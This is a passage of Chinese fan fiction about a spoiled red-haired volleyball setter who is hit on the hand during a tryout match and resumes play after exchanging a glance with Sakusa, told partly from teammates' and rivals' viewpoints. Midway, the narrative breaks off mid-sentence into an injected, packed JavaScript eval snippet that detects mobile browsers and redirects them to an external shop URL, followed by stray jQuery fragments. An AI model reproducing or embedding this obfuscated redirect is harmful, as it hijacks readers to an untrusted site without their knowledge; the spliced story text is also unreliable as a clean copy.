排球迎面飞来。
御狐凛下意识地伸出右手去挡脸,只听沉闷的一声“咚”,硬质的皮革外表重重砸在了他还没做好接球手势的手上。
“啪”,肇事的排球又滚落在了地板上。
球场上顿时安静如鸡。
刚才还玩得很开心的红发二传手吃痛地“嘶”了一声,捂着右手被砸疼的地方,脸色一下子就冷了下去,大少爷脾气几乎是在一瞬间发作。
“不打了,烦死了。”他说。
……啥?
他们就这么眼睁睁看着这位大少爷就这样毫无征兆又不管不顾地叫停了即将结束的新生选拔赛——
比分定格在24:12,红队领先。
所有人继续保持呆滞:这是怎么了?没打到脸吧,是用手挡住了?感觉砸的那一下也不算多严重,打排球磕磕碰碰算是正常的,这位大少爷怎么就翻脸了?
额……这到底是什么级别的大少爷脾气?
此刻的球场对面,双眼无神的寺岛瞭揉了揉耳朵,本就不太发达的脑子里还在恍恍惚惚地想:裁判是不是宣布比赛结束了?他们蓝队就这样很丢脸地输了吗?
结果听见了一句很任性的“不打了”……
什么情况?
他从巨大的挫败感中回过神来,盯着那个红毛又看了一下,终于暂时把刚刚被骗得裤衩子都不剩的羞耻感按了下去,他回忆起了赛前对红毛这张脸的熟悉感,以及想起了这种熟悉感从何而来。
是他啊……
一年前,他在某个体育记者的采访视频中看见过这人的臭脸,没错,就和现在一样,皱着眉,抿着唇,用手压着鸭舌帽的帽檐,赤红色的眼睛里透着一股子不耐烦,一副拒绝接受采访的样子,连带着那张赏心悦目的俊脸都一下子变得嚣张可恶了起来。
在记者怼着话筒问他:“你在全国大赛时无故缺席,导致冰帝单打一上阵替补,输掉第五局,止步32强,请问你有什么想解释的吗?”
“解释?”大少爷冷嗤一声,说,“我想打就打,不想打就不打,关你们屁事?”
寺岛瞭蓦地想起来了这个人,也想起来了这件事,又看到了眼前这个红毛与当时如出一辙的臭脸,“不打了,烦死了”,就是这人会说出来的话。
——这种毫无运动精神可言的话。
寺岛瞭难以形容此刻的心情,被这样一个人在球场上耍得团团转、几乎可以用被碾压之后,这家伙又如此随意地说不打了,他到底把球场当什么?把他当什么?
明明天赋和实力这么……厉害,他不得不承认这家伙厉害的要死,但性格却如此恶劣!
“御狐凛!”他不甘心,几乎是用吼的语气,“不准走!打完……”
他想说:打完这一场啊!
震天响的几个字蹦了出来,剩下的话还没吼完,球场旁边的鹤冈教练听得一激灵,在左右眼皮狂跳之下,回过神来,连忙叫住那个转身就走的大少爷:“还差一分就赢了,不打了?还是说需要暂停休息一下?”
红毛大少爷已经抬步走出球场,却又在定定地看了一眼某个方向几秒钟之后……
不知道是不是教练的话劝住了他,还是他良心发现,他突然脚步一停,话锋一转,说:“就是暂停,等下继续。”
……暂停?
寺岛瞭没吼完的话僵在了嘴边,第一反应竟然是——只是暂停?
他觉得自己真的是昏了头,一场比赛中只能主动申请两次的宝贵的暂停机会,被用在一名二传手疑似受了点小伤的情况下,还是在他们红队领先势头正好的关键球,他竟然下意识用“只是暂停”来形容?
寺岛瞭在裁判的口哨声中走回场下,目光却迟迟没能收回来,几乎称得上是眼睛一眨也不眨地观察着那个红毛大少爷。
红毛大少爷下场,他的蓝毛朋友大惊失色上前询问了什么,红毛摇头,冷着一张脸和围拢过来的众队友说了什么,看口型像是:“我没事啊,才不疼。”
然后三十秒暂停时间一晃而过,红毛再度上场,自然垂落着双手,表情也恢复如常,像是根本没受过伤的样子。
也是,被排球砸了一下而已,能有多严重?受点小伤在排球场上算是再寻常不过的事情了,怎么可能疼得受不了直接撂挑子说不打了?
寺岛瞭:所以是……又被骗了一次?这又是什么骗术中的某一环?
寺岛瞭被连着骗了一整场,面对这个红毛,现在是看他做什么都可疑的程度。
这片球场上大概只有御狐凛本人,和熟知御狐凛怕疼程度的千夜肆,才知道这家伙刚刚是……
真的被砸疼了,二话不说直接翻脸,根本就不想忍着疼打下去,哪怕只剩下一球。
但不知道怎么回事,反正千夜肆也没想明白,可能太阳打西边出来了?还是六月飞雪、公鸡下蛋了?这家伙竟然说只是暂停?
暂停完了也没处理一下伤口又直接上场了?
千夜肆简直就是惊呆了。
御狐凛怕疼,大概只有他的亲人挚友知道这回事。其中的原因吧……反正这个含着金汤勺出生的大少爷确实娇生惯养,他连“自恋臭美”这个毕生信仰都要在“怕疼”面前让路,连耳洞都因为怕疼没打,平常在家里小磕小碰更是要闹翻天,动辄十几个私人医生齐上阵。
但另一个客观原因,从医学角度说,他这人天生感官敏锐,尤其触觉神经极为灵敏,这是他绝无仅有的身体天赋,也意味着……他对疼痛会比普通人更加难以忍受。
小时候被宠得无法无天的时候,他表哥那个华丽欧式庄园从里到外都被变“托儿所幼稚风”,每一寸大理石地板都铺上了厚厚的羊绒地毯、桌角柜沿贴上软布、尖锐物品一律锁抽屉,连花园里他表哥极其喜欢的玫瑰花都被剪掉了尖刺,生怕这个小祖宗磕到碰到,然后疼得哭上一整天。
长大后的御狐凛倒不会哭一整天,因为面子比天大,觉得“怕疼”这件事根本不符合他的帅哥人设,意外受了点小伤在外人面前还能咬牙切齿装一下说“才不疼,我怎么可能怕疼”这种话。
但是!不正常的是!御狐凛绝对不可能忍着疼继续打排球啊!这种事真的不符合他举世无双的大少爷脾气啊!
太奇怪了,这简直就是天方夜谭吧?
千夜肆离场给这家伙找止痛喷雾去了,但是扭头看着这家伙又上场了,越想越不对劲,越想越咯噔,心里忍不住琢磨,刚刚阿凛就是突然看了某个方向一眼,突然就不对劲了。
他在看谁?
不会是那个大高个吧?
看了一眼就改变了想法?难道是非要在人家面前忍着手疼装一波大的……这种心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17903520|212983||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
情?
千夜肆莫名想起了自己和女朋友第一次约会的那次天,因为太兴奋下车左脚踩右脚,他当时西装革履、脚上穿的薄底皮鞋,一脚下去简直疼得要死,但是再一抬头,看到女朋友穿着白裙子仙气飘飘出现在他面前的时候,他一下子就被迷晕了眼,硬生生忍着痛,装作若无其事的样子和女朋友逛了三圈商场。
当时的场景好像就和现在的情况差不多?
他是看见漂亮女朋友晕了头,硬生生忍住了脚疼,那阿凛是……
喂!阿凛不会真的是……吧?
……
双方球员再次上场,比分依旧是24:12,红方赛点局。
御狐凛心情很不爽地回到球场上,左手很隐蔽地转了一下右手中指上戴着的戒指,想偷偷取下来,却发现碰一下就疼,根本取不下来。
刚刚那一球,和排球相撞的时候他的手指就是被这个戒指硌得生疼,好像还破皮了,尖锐的刺激一下子钻进了脑袋里,泛起的刺痛让他生理性地红了眼眶。
那一刻,他就是不想打了。
他对排球也就起了一丁点觉得有趣的感觉,但这种对他而言轻而易举就能赢得胜利的球类运动根本不会让他做出——忍着手疼继续打下去的念头。
他任性惯了,想干什么就干什么。
大少爷顺风顺水的人生当中还没有出现过让他需要忍耐的事情或者是容忍的人。
但是今天,很奇怪,就在他想不管不顾走下场的时候,他其实根本没注意球网对面的人或是场边的教练在说什么。
只有余光中那个远处的身影,察觉到这边动静,转过身朝他看来的那一刻,御狐凛看到了这人模糊的、没有戴口罩的面容,以及那双冷淡的眸子。
目光短暂相触,他们隔着球场对视。
御狐凛突然背过受伤的手,就这么不闪不避地迎着对方的视线,对着周围人说出了句话:“就是暂停,等下继续。”
御狐凛不知道自己在想什么东西,或许是胜负心爆棚?逆反欲作祟?又或是别的什么,他不管,他只知道,无视了自己这么多次的家伙,就应该把目光放在闪闪发光的他的身上!
没错,就是这样。
……
球场另一边,似乎没多少人注意到这个小插曲,但是有人敏锐地察觉到另一个人的不对劲。
“喂喂大表弟,你怎么突然又戴起口罩了?”古森元也追上佐久早,见他突然偏了偏头看了一眼某个方向,又一下子触电般弹开视线,还摸着口袋撕开一个崭新的医用口罩戴上。
古森元也只觉得这家伙今天真的很奇怪,以前也没洁癖到在球场上还要戴口罩的程度吧?
这种奇怪甚至延续到了这家伙戴口罩的时候,平常一天能换八个口罩、熟练到不行的人,但此时此刻这家伙却摸索着戴了三次,动作很不流畅,还差点把崭新的口罩失手掉在地上。
“你到底在干嘛?”古森元也猜测,“你帕金森了?手这么抖?”
佐久早圣臣停顿了一下,戴好口罩之后若无其事地放下手,一如往常那般毒舌:“离我远点,脑残会传染。”
古森元也眼珠子一转,没头没尾地猜测道:“你刚刚在偷看?”
“没有。”
“偷看被抓包了?”
“……闭嘴。”